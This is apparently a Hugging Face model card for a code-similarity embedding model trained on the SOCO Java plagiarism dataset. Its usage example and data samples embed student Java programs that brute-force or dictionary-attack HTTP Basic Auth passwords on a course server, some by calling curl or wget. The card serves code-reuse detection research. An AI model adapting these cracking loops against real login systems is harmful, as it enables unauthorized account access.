buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-e50

SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

• Model Type: Sentence Transformer
• Base model: microsoft/unixcoder-base-unimodal
• Maximum Sequence Length: 512 tokens
• Output Dimensionality: 768 dimensions
• Similarity Function: Cosine Similarity
• Training Dataset:
  • soco_train_java

Model Sources

• Documentation: Sentence Transformers Documentation
• Repository: Sentence Transformers on GitHub
• Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-e50")
# Run inference
sentences = [
    '\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener {\n\tprivate TextField tf = new TextField();\n    private TextArea  ta = new TextArea();\n\n  \tpublic void actionPerformed (ActionEvent e) {\n\t\tString s = tf.getText();\n\t\tString login="";\n\n\t\tif (s.length() != 0)\n\t\t{\n\t\t\tchar symbol = \'A\';\n\n\t\t\tlogin=":";\n\t\t\t\n\t\t\tfor(int i = 0; i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t    ta.setText (fetchURL (s,login));\n\t\t    System.out.println("runing"+login);\n\t\t}while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error  URL")!=0);\n\n\t\tSystem.out.println("The password is: "+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper ("SEC-CRACK");\n\n\t    \n\t    add (tf, BorderLayout.LEFT);\n\t    ta.setEditable(false);\n\t    add (ta, BorderLayout.CENTER);\n\t    tf.addActionListener (this);\n\n\t    addWindowListener (new WindowAdapter() {\n\t       public void windowClosing (WindowEvent e) {\n\t         dispose();\n\t         System.exit(0);\n\t       }\n\t     });\n\t}\n\n\tprivate String fetchURL (String urlString,String login) {\n\t\tStringWriter sw = new StringWriter();\n\t    PrintWriter  pw = new PrintWriter();\n\n\t    try {\n\t       URL url = new URL (urlString);\n\n\t     \n\t\n\t       \n\n\t      \n\t       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());\n\n\t      \n\t       URLConnection uc = url.openConnection();\n\t       uc.setRequestProperty  ("Authorization", " " + encoding);\n\t       InputStream content = (InputStream)uc.getInputStream();\n\t       BufferedReader in   =\n\t         new BufferedReader (new InputStreamReader (content));\n\t       String line;\n\t       while ((line = in.readLine()) != null) {\n\t         pw.println (line);\n\t       }\n\t     } catch (MalformedURLException e) {\n\t       pw.println ("Invalid URL");\n\t     } catch (IOException e) {\n\t       pw.println ("Error  URL");\n\t     }\n\t     return sw.toString();\n\t}\n\n\n\tpublic static void  main(String args[]) {\n\t\tFrame f = new BruteForce();\n\t    f.setSize(300, 300);\n\t    f.setVisible (true);\n\t}\n}\n\n\n\n\nclass  Base64Converter\n{\n\tpublic static final char [ ]  alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',   \n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',   \n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',   \n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',   \n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',   \n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',   \n        \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',   \n        \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' }; \n\n\n     public static String  encode ( String  s )\n     {\n        return encode ( s.getBytes ( ) );\n     }\n\n     public static String  encode ( byte [ ]  octetString )\n     {\n        int  bits24;\n        int  bits6;\n\n       char [ ]  out\n          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n       int outIndex = 0;\n        int i        = 0;\n\n       while ( ( i + 3 ) <= octetString.length )\n       {\n          \n          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;\n          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;\n          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;\n\n         bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0000003F );\n          out [ outIndex++ ] = alphabet [ bits6 ];\n       }\n\n       if ( octetString.length - i == 2 )\n       {\n          \n          bits24  = ( octetString [ i     ] & 0xFF ) << 16;\n          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;\n\n          bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n         \n          out [ outIndex++ ] = \'=\';\n        }\n        else if ( octetString.length - i == 1 )\n        {\n          \n          bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n          bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n          \n          out [ outIndex++ ] = \'=\';\n          out [ outIndex++ ] = \'=\';\n        }\n\n       return new String ( out );\n     }\n}\n\n',
    '\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\npublic class BruteForce extends Thread\n{\n   private static final String USERNAME = "";\n   private static final char [] POSSIBLE_CHAR =\n        {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\',\n         \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\',\n         \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\',\n         \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n   private static int NUMBER_OF_THREAD = 500;\n\n   private static Date startDate = null;\n   private static Date endDate = null;\n\n   private String address;\n   private String password;\n\n   public BruteForce(String address, String password)\n   {\n      this.address = address;\n      this.password = password;\n   }\n\n   public static void main(String[] args) throws IOException\n   {\n      if (args.length < 1)\n      {\n         System.err.println("Invalid usage!");\n         System.err.println("Usage: java BruteForce <url>");\n         System.exit(1);\n      }\n\n      try\n      {\n         brute(args[0], USERNAME);\n      }\n      catch(Exception e)\n      {\n         e.printStackTrace();\n         System.exit(1);\n      }\n   }\n\n   public static void brute(String address, String user)\n   {\n      BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n      int index = 0;\n\n      startDate = new Date();\n      for(int i = 0; i < POSSIBLE_CHAR.length; i++)\n      {\n         for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n         {\n            for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n            {\n               String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n                                 POSSIBLE_CHAR[k];\n\n               if (threads[index] != null && threads[index].isAlive())\n               {\n                  try\n                  {\n                     threads[index].join();\n                  }\n                  catch(InterruptedException e ) {}\n               }\n               threads[index] = new BruteForce(address, password);\n               threads[index].get();\n\n               index = (index++) % threads.length;\n            }\n         }\n      }\n   }\n\n   public void run()\n   {\n      if (endDate != null)\n         return;\n\n      try\n      {\n\n         URLConnection conn = (new URL(address)).openConnection();\n         conn.setDoInput(true);\n\n         if (login(conn, USERNAME, password))\n         {\n            endDate = new Date();\n            System.out.println("Found the password: \\""+password+"\\"!");\n            SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");\n            System.out.println("Process started at: "+format.format(startDate));\n            System.out.println("Process started at: "+format.format(endDate));\n            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n            System.out.println("Time taken: "+timeTaken+" minutes");\n            System.exit(0);\n         }\n         else\n         {\n            System.out.println("Password: \\""+password+"\\" Failed!");\n            return;\n         }\n      }\n      catch(Exception e)\n      {\n         e.printStackTrace();\n      }\n\n   }\n\n   public static boolean login(URLConnection conn, String user, String pass)\n   {\n      try\n      {\n         String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);\n         conn.setRequestProperty ("Authorization", encodeAuth);\n         conn.connect();\n         conn.getInputStream();\n      }\n      catch(Exception e)\n      {\n         return false;\n      }\n      return true;\n   }\n}\n\n\n',
    '\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n   private final static char base64Array [] = {\n          \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n          \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n          \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n          \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n          \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n          \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n          \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n          \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n     };\n\n   public static String encode (String string)\n   {\n      String encodedString = "";\n      byte bytes [] = string.getBytes ();\n      int i = 0;\n      int pad = 0;\n      while (i < bytes.length)\n      {\n         byte b1 = bytes [i++];\n         byte b2;\n         byte b3;\n         if (i >= bytes.length)\n         {\n            b2 = 0;\n            b3 = 0;\n            pad = 2;\n         }\n         else\n         {\n            b2 = bytes [i++];\n            if (i >= bytes.length)\n            {\n               b3 = 0;\n               pad = 1;\n            }\n            else\n               b3 = bytes [i++];\n         }\n\n         byte c1 = (byte)(b1 >> 2);\n         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n         byte c4 = (byte)(b3 & 0x3f);\n         encodedString += base64Array [c1];\n         encodedString += base64Array [c2];\n         switch (pad)\n         {\n            case 0:\n               encodedString += base64Array [c3];\n               encodedString += base64Array [c4];\n               break;\n            case 1:\n               encodedString += base64Array [c3];\n               encodedString += "=";\n               break;\n            case 2:\n               encodedString += "==";\n               break;\n         }\n      }\n      return encodedString;\n   }\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

soco_train_java

• Dataset: soco_train_java at 44ca4ff
• Size: 16,705 training samples
• Columns: label, text_1, and text_2
• Approximate statistics based on the first 1000 samples:

  	label	text_1	text_2
  type	int	string	string
  details	0: ~99.40% 1: ~0.60%	min: 51 tokens mean: 453.35 tokens max: 512 tokens	min: 53 tokens mean: 469.36 tokens max: 512 tokens

• Samples:

  label	text_1	text_2
  0	import java.net.; import java.io.; import java.Ostermiller.util.; import java.util.; public class MyClient2 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private BruteForce myMaster; public MyClient2(BruteForce bf , int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; ...	import java.io.; import java.net.; import java.text.; import java.util.; class Dictionary { private String password=""; private int num=401; public static void main(String[] args) { Dictionary URLcon; int length = 0; String passwd=""; int t0,t1; String line =""; if (args.length == 0) { System.err.println ( "Usage : java BruteForce "); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println (" " + new Date()); System.out.println ("Using Dictionary method attack "+username+"'s password. Please waiting......."); try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); while ((passwd=in.readLine())!=null) { URLcon = new Dictionary (passwd,username); if ((URLcon.num)!=401) { t1=Syste...
  0	import java.net.; import java.io.; public class BruteForce { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); DataInputStream dis ; for (i=0;i<=58;i++) { for (j=0;j<=58;j++) { for (k=1;k<=58;k++) { if (i !=0) { pass = "" + (char)(k+64) + (char)(j+65) + (char)(i+64); if ((i+64) >=91 && (i+64) <=96) break; if ((j+65) >=91 && (j+65) <=96) break; if ((k+64) >=91 && (k+64) <=96) continue; UserPass= auth.encode("",...	import java.util.; import java.net.; import java.io.; import javax.swing.; public class ParsingImgLink { String url, imgLink, line; public ParsingImgLink( String baseURL, String str ) { url = baseURL; line = str; parsingLine(); } public void parsingLine() { int end; String imgURLStr = null; if( ( url = line.indexOf("src="") ) != -1 ) { String subStr = line.substring(+5); end = subStr.indexOf("""); imgURLStr = subStr.substring( 0, end ); System.out.println(imgURLStr); } else if( ( end = line.indexOf("SRC="")) != -1 ) { String subStr = line.substring(+5); end = subStr.indexOf("""); imgURLStr = subStr.substring( 0, end ); System.out.println(imgURLStr); } if( imgURLStr.indexOf("://") == -1 ) { try { URL bas...
  0	import java.util.; import java.io.; import java.net.*; class Dictionary { public static void main (String a[]) { String pwd=""; try { BufferedReader bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); int i=0; while(bf.readLine() != null) { pwd= bf.readLine(); String userPassword = ":"+pwd; RealThread myTh = new RealThread(i,userPassword); Thread th = new Thread( myTh ); th.start(); try { th.sleep(100); } catch(Exception e) {} i++; } } catch(Exception e ) { System.out.println(" ex while ="+ e); } } } class RealThread implements Runnable { private int num; private URL url; private HttpURLConnection uc =null; private String userPassword; private int responseCode = 100; public RealThread (int i, String userPassword) { try { url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); } catch(Exception ex1) { } num = i; this...	import java.io.; import java.util.; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() { } public static void main(String[] args) { try { if (args.length != 3 ) { System.out.println("Usage: java BruteForce "); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyDictionary (args[0], args[1], args [2]); timeEnd = System.currentTimeMillis(); System.out.println("\n\n\n\n\tPass Cracked is: " + strPass); System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyDictionary (String URL, String UserName, String strUrlDictionary) { String strPass = ""; try { FileInputStream fIn = new FileInputStream ( strUrlDictionar...

• Loss: SoftmaxLoss

Evaluation Dataset

soco_train_java

• Dataset: soco_train_java at 44ca4ff
• Size: 16,706 evaluation samples
• Columns: label, text_1, and text_2
• Approximate statistics based on the first 1000 samples:

  	label	text_1	text_2
  type	int	string	string
  details	0: ~99.40% 1: ~0.60%	min: 51 tokens mean: 443.68 tokens max: 512 tokens	min: 51 tokens mean: 467.63 tokens max: 512 tokens

• Samples:

  label	text_1	text_2
  0	import java.Runtime; import java.io.*; public class differenceFile { StringWriter sw =null; PrintWriter pw = null; public differenceFile() { sw = new StringWriter(); pw = new PrintWriter(); } public String compareFile() { try { Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt"); InputStream write = sw.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line; while((line = bf.readLine())!=null) pw.println(line); if((sw.toString().trim()).equals("")) { System.out.println(" difference"); return null; } System.out.println(sw.toString().trim()); }catch(Exception e){} return sw.toString().trim(); } }	import java.; import java.io.; import java.util.*; public class BruteForce { public static void main(String[] args) { Runtime rt = Runtime.getRuntime(); Process pr= null; char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String pass; char temp[] = {'a','a'}; char temp1[] = {'a','a','a'}; char temp2[] = {'a'}; String f= new String(); String resp = new String(); int count=0; String success = new String(); InputStreamReader instre; BufferedReader bufread; for(int k=0;k<52;k++) { temp2[0]=chars[k]; pass = new String(temp2); count++; System.out.println("The password tried ...
  0	import java.io.; import java.net.; import java.util.*; public class Watchdog { public static void main(String args[]) { String mainLink="http://www.cs.rmit.edu./students/"; String sender = "@cs.rmit.edu."; String recipient = ""; String hostName = "yallara.cs.rmit.edu."; int delay = 86400000; try { int imgSrcIndex, imgSrcEnd; String imgLink; Vector imageList = new Vector(); HttpURLConnection imgConnection; URL imgURL; EmailClient email = new EmailClient(sender, recipient, hostName); URL url=new URL(mainLink); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); FileWriter fwrite = new FileWriter("local.txt"); BufferedWriter writefile = new BufferedWriter(fwrite); String line=webpage.readLine(); while (line != null) { writefile.write(line,0,line.length()); wri...	import java.net.; import java.io.; import java.String; import java.; import java.util.; public class BruteForce { private static final int passwdLength = 3; private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"; private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; private int charLen = chars.length(); private int n = 0; private int n3 = charLencharLencharLen; private String response; private String[] password = new String[charLencharLencharLen+charLen*charLen+charLen]; private char[][] data = new char[passwdLength][charLen]; private char[] pwdChar2 = new char[2]; private char[] pwdChar = new char[passwdLength]; private String url; private int startTime; private int endTime; private int totalTime; private float averageTime; private boolean finish; private Process curl; private BufferedReader bf, responseLine; ...
  0	import java.io.; import java.awt.; import java.net.*; public class BruteForce { public static void main (String[] args) { String pw = new String(); pw = getPassword (); System.out.println("Password is: "+pw); } public static String getPassword() { String passWord = new String(); passWord = "AAA"; char[] guess = passWord.toCharArray(); Process pro = null; Runtime runtime = Runtime.getRuntime(); BufferedReader in = null; String str=null; boolean found = true; System.out.println(" attacking....."); for (int i=65;i<=122 ;i++ ) { guess[0]=(char)(i); for (int j=65;j<=122 ;j++ ) { guess[1]=(char)(j); for (int k=65 ;k<=122 ;k++ ) { guess[2]=(char)(k); passWord = new String(guess); String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php "; try { pro = runtime.exec(cmd); in = new BufferedReader(new InputStreamReader(pro.getErrorSt...	import java.io.; import java.text.; import java.util.; import java.net.; public class BruteForce extends Thread { private static final String USERNAME = ""; private static final char [] POSSIBLE_CHAR = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public BruteForce(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println("Invalid usage!"); System.err.println("...

• Loss: SoftmaxLoss

Training Hyperparameters

Non-Default Hyperparameters

• eval_strategy: steps
• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• num_train_epochs: 1
• fp16: True

All Hyperparameters

Click to expand

• overwrite_output_dir: False
• do_predict: False
• eval_strategy: steps
• prediction_loss_only: True
• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• per_gpu_train_batch_size: None
• per_gpu_eval_batch_size: None
• gradient_accumulation_steps: 1
• eval_accumulation_steps: None
• torch_empty_cache_steps: None
• learning_rate: 5e-05
• weight_decay: 0.0
• adam_beta1: 0.9
• adam_beta2: 0.999
• adam_epsilon: 1e-08
• max_grad_norm: 1.0
• num_train_epochs: 1
• max_steps: -1
• lr_scheduler_type: linear
• lr_scheduler_kwargs: {}
• warmup_ratio: 0.0
• warmup_steps: 0
• log_level: passive
• log_level_replica: warning
• log_on_each_node: True
• logging_nan_inf_filter: True
• save_safetensors: True
• save_on_each_node: False
• save_only_model: False
• restore_callback_states_from_checkpoint: False
• no_cuda: False
• use_cpu: False
• use_mps_device: False
• seed: 42
• data_seed: None
• jit_mode_eval: False
• use_ipex: False
• bf16: False
• fp16: True
• fp16_opt_level: O1
• half_precision_backend: auto
• bf16_full_eval: False
• fp16_full_eval: False
• tf32: None
• local_rank: 0
• ddp_backend: None
• tpu_num_cores: None
• tpu_metrics_debug: False
• debug: []
• dataloader_drop_last: False
• dataloader_num_workers: 0
• dataloader_prefetch_factor: None
• past_index: -1
• disable_tqdm: False
• remove_unused_columns: True
• label_names: None
• load_best_model_at_end: False
• ignore_data_skip: False
• fsdp: []
• fsdp_min_num_params: 0
• fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
• fsdp_transformer_layer_cls_to_wrap: None
• accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
• deepspeed: None
• label_smoothing_factor: 0.0
• optim: adamw_torch
• optim_args: None
• adafactor: False
• group_by_length: False
• length_column_name: length
• ddp_find_unused_parameters: None
• ddp_bucket_cap_mb: None
• ddp_broadcast_buffers: False
• dataloader_pin_memory: True
• dataloader_persistent_workers: False
• skip_memory_metrics: True
• use_legacy_prediction_loop: False
• push_to_hub: False
• resume_from_checkpoint: None
• hub_model_id: None
• hub_strategy: every_save
• hub_private_repo: None
• hub_always_push: False
• gradient_checkpointing: False
• gradient_checkpointing_kwargs: None
• include_inputs_for_metrics: False
• include_for_metrics: []
• eval_do_concat_batches: True
• fp16_backend: auto
• push_to_hub_model_id: None
• push_to_hub_organization: None
• mp_parameters:
• auto_find_batch_size: False
• full_determinism: False
• torchdynamo: None
• ray_scope: last
• ddp_timeout: 1800
• torch_compile: False
• torch_compile_backend: None
• torch_compile_mode: None
• include_tokens_per_second: False
• include_num_input_tokens_seen: False
• neftune_noise_alpha: None
• optim_target_modules: None
• batch_eval_metrics: False
• eval_on_start: False
• use_liger_kernel: False
• eval_use_gather_object: False
• average_tokens_across_devices: False
• prompts: None
• batch_sampler: batch_sampler
• multi_dataset_batch_sampler: proportional

Training Logs

Epoch	Step	Training Loss	Validation Loss
0.0957	100	0.0506	0.0198
0.1914	200	0.0159	0.0178
0.2871	300	0.0267	0.0195
0.3828	400	0.0341	0.0202
0.4785	500	0.0139	0.0161
0.5742	600	0.0142	0.0157
0.6699	700	0.0244	0.0154
0.7656	800	0.018	0.0152
0.8612	900	0.0088	0.0153
0.9569	1000	0.0205	0.0146

Framework Versions

• Python: 3.11.11
• Sentence Transformers: 4.1.0
• Transformers: 4.52.4
• PyTorch: 2.8.0.dev20250319+cu128
• Accelerate: 1.7.0
• Datasets: 3.6.0
• Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers and SoftmaxLoss

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}